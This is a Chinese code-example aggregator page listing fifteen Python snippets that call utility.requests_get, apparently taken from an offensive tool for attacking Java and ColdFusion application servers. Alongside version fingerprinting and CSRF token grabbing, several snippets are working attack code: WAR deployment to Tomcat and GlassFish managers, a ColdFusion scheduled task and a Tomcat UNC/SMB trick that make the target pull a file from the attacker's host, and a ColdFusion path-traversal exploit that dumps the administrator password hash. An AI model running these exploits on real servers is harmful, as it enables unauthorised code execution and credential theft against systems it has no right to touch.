本文整理汇总了Python中utility.requests_get函数的典型用法代码示例。如果您正苦于以下问题:Python requests_get函数的具体用法?Python requests_get怎么用?Python requests_get使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了requests_get函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: check
def check(self, ip, port=None):
"""
"""
try:
rport = self.port if port is None else port
url = "http://{0}:{1}{2}".format(ip, rport, self.uri)
response = utility.requests_get(url)
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth for %s, checking.." % (ip, rport, self.uri), LOG.DEBUG)
cookies = checkAuth(ip, rport, self.title, self.version)
if cookies:
response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR)
return False
if response.status_code == 200:
return True
except exceptions.Timeout:
utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG)
except exceptions.ConnectionError:
utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG)
return False
示例2: check
def check(self, ip, port = None):
""" The version string for the web-console is pretty easy to parse out.
"""
try:
rport = self.port if port is None else port
url = "http://{0}:{1}{2}".format(ip, rport, self.uri)
response = utility.requests_get(url)
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth for /web-console, checking.." %
(ip, rport), LOG.DEBUG)
cookies = authenticate.checkAuth(ip, rport, self.title, self.version)
if cookies:
response = utility.requests_get(url, cookies=cookies[0],
auth=cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR)
return False
if "Version: </b>{0}".format(self.version) in response.content:
return True
except exceptions.Timeout:
utility.Msg("{0} timeout to {1}:{2}".format(self.platform,
ip, rport),
LOG.DEBUG)
except exceptions.ConnectionError:
utility.Msg("{0} connection error to {1}:{2}".format(self.platform,
ip, rport),
LOG.DEBUG)
return False
示例3: make_request
def make_request(method,host,port,ssl,url,data,cookies=None,allow_redirects=True):
response = None
if port == None and ssl:
port = 443
if port == None and not ssl:
port = 80
try:
url = "{0}://{1}:{2}{3}".format("https" if ssl else "http",
host, port,url)
if method == 'GET':
response = utility.requests_get(url,cookies=cookies)
elif method == 'BASIC':
response = utility.requests_get(url,cookies=cookies,auth=(data['username'],data['password']))
elif method == 'POST':
response = utility.requests_post(url,data,cookies=cookies,allow_redirects=allow_redirects)
elif method == 'HEAD':
response = utility.requests_head(url,cookies=cookies)
elif method == 'PUT':
response = utility.requests_put(url,data,cookies=cookies)
else:
response = utility.requests_other(method,url,cookies=cookies)
return response
except exceptions.Timeout:
utility.Msg("Timeout to {0}:{1}".format(host,port), 'DEBUG')
except exceptions.ConnectionError, e:
utility.Msg("Connection error to {0} ({1})".format(host,port, e),'DEBUG')
示例4: run_task
def run_task(ip, fingerprint, cfm_path):
""" Invoke the task and wait for the remote server to fetch
our file
"""
cfm_name = parse_war_path(cfm_path, True)
# kick up the HTTP server
server_thread = Thread(target=_serve, args=(cfm_path,))
server_thread.start()
sleep(2)
url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\
.format(ip, fingerprint.port)
(cookie, csrf) = fetch_csrf(ip, fingerprint, url)
if fingerprint.version in ["9.0"]:
uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf)
elif fingerprint.version in ["10.0"]:
uri = "?runtask={0}&group=default&mode=server&csrftoken={1}".format(cfm_name, csrf)
response = utility.requests_get(url + uri, cookies=cookie)
if waitServe(server_thread):
utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS)
try:
utility.requests_get("http://localhost:8000", timeout=1)
except:
pass
示例5: run
def run(self, fingerengine, fingerprint):
utility.Msg("Attempting to retrieve Tomcat info...")
base = "http://{0}:{1}".format(fingerengine.options.ip,
fingerprint.port)
relative = '/manager/serverinfo'
if fingerprint.version in ["7.0", "8.0"]:
relative = '/manager/text/serverinfo'
url = base + relative
response = utility.requests_get(url)
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth, checking..." %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title, fingerprint.version)
if cookies:
response = utility.requests_get(url, cookies=cookies[0],
auth=cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" %
(fingerengine.options.ip, fingerprint.port), LOG.ERROR)
return
if response.status_code == 200:
info = response.content.split('\n')[1:-1]
for entry in info:
utility.Msg(entry)
示例6: run
def run(self, fingerengine, fingerprint):
""" This runs the jboss.system:type=ServerInfo MBean to gather information
about the host OS. JBoss 7.x uses the HTTP API instead to query for this
info, which also happens to give us quite a bit more.
"""
utility.Msg("Attempting to retrieve JBoss info...")
if fingerprint.version in ["7.0", "7.1", "8.0"]:
# JBoss 7.x uses an HTTP API instead of jmx-console/
return self.run7(fingerengine, fingerprint)
base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
uri = "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system"\
":type=ServerInfo"
url = base + uri
response = utility.requests_get(url)
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth, checking..." %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title, fingerprint.version)
if cookies:
response = utility.requests_get(url, cookies=cookies[0],
auth=cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" %
(fingerengine.options.ip, fingerprint.port), LOG.ERROR)
return
if response.status_code == 200:
if fingerprint.version in ["3.0", "3.2"]:
names = findall("<span class='aname'>(.*?)</span>", response.content.replace('\n',''))[1:]
data = findall("<pre>(.*?)</pre>", response.content.replace('\n',''))
for (key, value) in zip(names, data):
utility.Msg("\t{0}: {1}".format(key, value))
elif fingerprint.version in ["4.0", "4.2"]:
data = findall("<td>(.*?)</td>", response.content.replace('\n',''))
for x in range(9, len(data)-9, 5):
utility.Msg("\t{0}: {1}".format(data[x+1].lstrip().rstrip(),
data[x+4].lstrip().rstrip()))
elif fingerprint.version in ["5.0", "5.1", "6.0", "6.1"]:
names = findall("<td class='param'>(.*?)</td>", response.content.replace('\n',''))
data = findall("<pre>(.*?)</pre>", response.content.replace('\n',''))
for (key, value) in zip(names, data):
utility.Msg("\t{0}: {1}".format(key,value.rstrip('').lstrip()))
else:
utility.Msg("Version %s is not supported by this module." %
fingerprint.version, LOG.ERROR)
示例7: runLatter
def runLatter(self, fingerengine, fingerprint, smb_thread):
"""
"""
base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
uri = "/manager/html/deploy"
data = OrderedDict([
("deployPath", "/asdf"),
("deployConfig", ""),
("deployWar", "file://{0}/asdf.war".format(utility.local_address())),
])
cookies = None
nonce = None
# probe for auth
response = utility.requests_get(base + '/manager/html')
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth, checking.." %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title, fingerprint.version)
if cookies:
response = utility.requests_get(base + '/manager/html',
cookies=cookies[0],
auth=cookies[1])
# get nonce
nonce = findall("CSRF_NONCE=(.*?)\"", response.content)
if len(nonce) > 0:
nonce = nonce[0]
# set new jsessionid
cookies = (dict_from_cookiejar(response.cookies), cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
return
if response.status_code == 200:
try:
# all setup, now invoke
response = utility.requests_post(base + uri + \
'?org.apache.catalina.filters.CSRF_NONCE=%s' % nonce,
data = data, cookies=cookies[0],
auth=cookies[1])
except:
# timeout
pass
while smb_thread.is_alive():
# spin...
sleep(1)
示例8: run
def run(self, fingerengine, fingerprint):
""" Same concept as the JBoss module, except we actually invoke the
deploy function.
"""
if getuid() > 0:
utility.Msg("Root privs required for this module.", LOG.ERROR)
return
utility.Msg("Setting up SMB listener...")
self._Listen = True
thread = Thread(target=self.smb_listener)
thread.start()
utility.Msg("Invoking UNC deployer...")
base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port)
if fingerprint.version in ["5.5"]:
uri = '/manager/html/deploy?deployPath=/asdf&deployConfig=&'\
'deployWar=file://{0}/asdf.war'.format(utility.local_address())
elif fingerprint.version in ["6.0", "7.0", "8.0"]:
return self.runLatter(fingerengine, fingerprint, thread)
else:
utility.Msg("Unsupported Tomcat (v%s)" % fingerprint.version, LOG.ERROR)
return
url = base + uri
response = utility.requests_get(url)
if response.status_code == 401:
utility.Msg("Host %s:%s requires auth, checking..." %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title, fingerprint.version)
if cookies:
response = utility.requests_get(url, cookies=cookies[0],
auth=cookies[1])
else:
utility.Msg("Could not get auth for %s:%s" %
(fingerengine.options.ip, fingerprint.port), LOG.ERROR)
return
while thread.is_alive():
# spin...
sleep(1)
if response.status_code != 200:
utility.Msg("Unexpected response: HTTP %d" % response.status_code)
self._Listen = False
示例9: run
def run(self, fingerengine, fingerprint):
""" Dump host OS info from a railo server
"""
utility.Msg("Attempting to retrieve Railo info...")
base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port)
uri = None
if fingerprint.title is RINTERFACES.WEB:
uri = '/railo-context/admin/web.cfm'
elif fingerprint.title is RINTERFACES.SRV:
uri = '/railo-context/admin/server.cfm'
url = base + uri
response = utility.requests_get(url)
if response.status_code is 200 and 'login' in response.content:
utility.Msg("Host %s:%s requires auth, checking..." %
(fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
cookie = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title)
if cookie:
response = utility.requests_get(url, cookies=cookie)
else:
utility.Msg("Could not get auth for %s:%s" %
(fingerengine.options.ip, fingerprint.port), LOG.ERROR)
return
if response.status_code is 200 and 'Overview' in response.content:
(h, d) = self.fetchVersionRegex(fingerprint)
headers = findall(h, response.content.translate(None, "\n\t\r"))
data = findall(d, response.content.translate(None, "\n\t\r"))
# do some version-specific trimming
if fingerprint.version in ["4.1", '4.2']:
headers = headers[4:]
data = data[2:]
elif fingerprint.version in ["3.0"]:
headers = headers[:-6]
data = data[:-6]
elif fingerprint.version in ["3.3"]:
headers = headers[:-7]
data = data[:-7]
for (th, td) in zip(headers, data):
utility.Msg("\t%s: %s" % (th, td))
示例10: fetch_webroot
def fetch_webroot(ip, fingerprint):
""" Pick out the web root from the settings summary page
"""
url = "http://{0}:{1}/CFIDE/administrator/reports/index.cfm"\
.format(ip, fingerprint.port)
cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version)
if cookies:
req = utility.requests_get(url, cookies=cookies[0])
else:
utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR)
return False
if req.status_code is 200:
root_regex = "CFIDE </td><td scope=row class=\"cellRightAndBottomBlueSide\">(.*?)</td>"
if fingerprint.version in ["7.0"]:
root_regex = root_regex.replace("scope=row ", "")
data = findall(root_regex, req.content.translate(None, "\n\t\r"))
if len(data) > 0:
return data[0].replace("\", "\\").replace(":", ":")[:-7]
else:
return False
示例11: deploy
def deploy(fingerengine, fingerprint):
""" Upload via the exposed REST API
"""
if fingerprint.version in ['3.1', '4.0']:
state.ssl = True
war_file = fingerengine.options.deploy
war_path = abspath(war_file)
war_name = parse_war_path(war_file)
dip = fingerengine.options.ip
headers = {
"Accept" : "application/json",
"X-Requested-By" : "requests"
}
cookie = checkAuth(dip, fingerprint.port, title)
if not cookie:
utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port),
LOG.ERROR)
return
utility.Msg("Preparing to deploy {0}...".format(war_file))
base = 'http://{0}:{1}'.format(dip, fingerprint.port)
uri = '/management/domain/applications/application'
data = {
'id' : open(war_path, 'rb'),
'force' : 'true'
}
response = utility.requests_post(base + uri, files=data,
auth=cookie,
headers=headers)
if response.status_code is 200:
if fingerprint.version in ['3.0']:
# GF 3.0 ignores context-root and appends a random character string to
# the name. We need to fetch it, then set it as our random_int for
# invoke support. There's also no list-wars in here...
url = base + '/management/domain/applications/application'
response = utility.requests_get(url, auth=cookie, headers=headers)
if response.status_code is 200:
data = json.loads(response.content)
for entry in data[u"Child Resources"]:
if war_name in entry:
rand = entry.rsplit('/', 1)[1]
rand = rand.split(war_name)[1]
fingerengine.random_int = str(rand)
utility.Msg("Deployed {0} to :8080/{0}{1}".format(war_name, rand),
LOG.SUCCESS)
else:
utility.Msg("Deployed {0} to :8080/{0}".format(war_name), LOG.SUCCESS)
else:
utility.Msg("Failed to deploy {0} (HTTP {1})".format(war_name,
response.status_code),
LOG.ERROR)
示例12: run
def run(self, fingerengine, fingerprint):
"""
"""
utility.Msg("Obtaining deployed applications...")
base = 'https://{0}:{1}'.format(fingerengine.options.ip,
fingerprint.port)
uri = '/management/domain/applications/list-applications'
headers = { "Accept" : "application/json" }
cookie = checkAuth(fingerengine.options.ip, fingerprint.port,
fingerprint.title)
if not cookie:
utility.Msg("Could not get auth on %s:%s" % (fingerengine.options.ip,
fingerprint.port),
LOG.ERROR)
return
if fingerprint.version in ['3.0']:
base = base.replace('https', 'http')
uri = '/management/domain/applications/application'
return self._parse_old(base + uri, cookie)
response = utility.requests_get(base+uri, auth=cookie, headers=headers)
if response.status_code is 200:
data = json.loads(response.content)
if not 'properties' in data.keys():
utility.Msg("No applications found.")
return
utility.Msg("Discovered %d deployed apps" % len(data['properties']))
for entry in data['properties'].keys():
utility.Msg(' /%s' % entry)
示例13: fetch_csrf
def fetch_csrf(ip, fingerprint, url):
""" Most of these requests use a CSRF; we can grab this so long as
we send the request using the same session token.
Returns a tuple of (cookie, csrftoken)
"""
if fingerprint.version not in ['9.0', '10.0']:
# versions <= 8.x do not use a CSRF token
return (checkAuth(ip, fingerprint.port, title, fingerprint.version)[0], None)
# lets try and fetch CSRF
cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version)
if cookies:
response = utility.requests_get(url, cookies=cookies[0])
else:
utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR)
return False
if response.status_code is 200:
token = findall("name=\"csrftoken\" value=\"(.*?)\">", response.content)
if len(token) > 0:
return (cookies[0], token[0])
else:
utility.Msg("CSRF appears to be disabled.", LOG.DEBUG)
return (cookies[0], None)
示例14: run
def run(self, fingerengine, fingerprint):
utility.Msg("Attempting to dump administrative hash...")
if float(fingerprint.version) > 8.0:
return self.run_latter(fingerengine, fingerprint)
directories = ['/CFIDE/administrator/enter.cfm',
'/CFIDE/wizards/common/_logintowizard.cfm',
'/CFIDE/administrator/archives/index.cfm',
'/CFIDE/install.cfm',
'/CFIDE/administrator/entman/index.cfm',
]
base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port)
for path in directories:
uri = "{0}?locale={1}ColdFusion8"\
"\lib\password.properties%00en"
for dots in range(7,12):
if fingerengine.options.remote_os == 'linux':
t_url = uri.format(path, "../" * dots)
else:
t_url = uri.format(path, "..\\" * dots)
response = utility.requests_get(base + t_url)
if response.status_code == 200:
pw_hash = re.findall("password=(.*?)\r\n", response.content)
if len(pw_hash) > 0:
utility.Msg("Administrative hash: %s" % pw_hash[1], LOG.SUCCESS)
return
示例15: fetch_webroot
def fetch_webroot(ip, fingerprint):
""" Grab web root from the info page
"""
global cookie
_cookie = cookie
url = "http://{0}:{1}/railo-context/admin/".format(ip, fingerprint.port)
if fingerprint.version in ["3.0"]:
url += "server.cfm"
_cookie = checkAuth(ip, fingerprint.port, RINTERFACES.SRV)
else:
url += "web.cfm"
response = utility.requests_get(url, cookies=_cookie)
if response.status_code is 200:
if fingerprint.version in ["3.0"]:
data = findall("path1\" value=\"(.*?)\" ",
response.content.translate(None, "\n\t\r"))
elif fingerprint.version in ["3.3"]:
data = findall("Webroot</td><td class=\"tblContent\">(.*?)</td>",
response.content.translate(None, "\n\t\r"))
else:
data = findall("Webroot</th><td>(.*?)</td>",
response.content.translate(None, "\n\t\r"))
if len(data) > 0:
return data[0]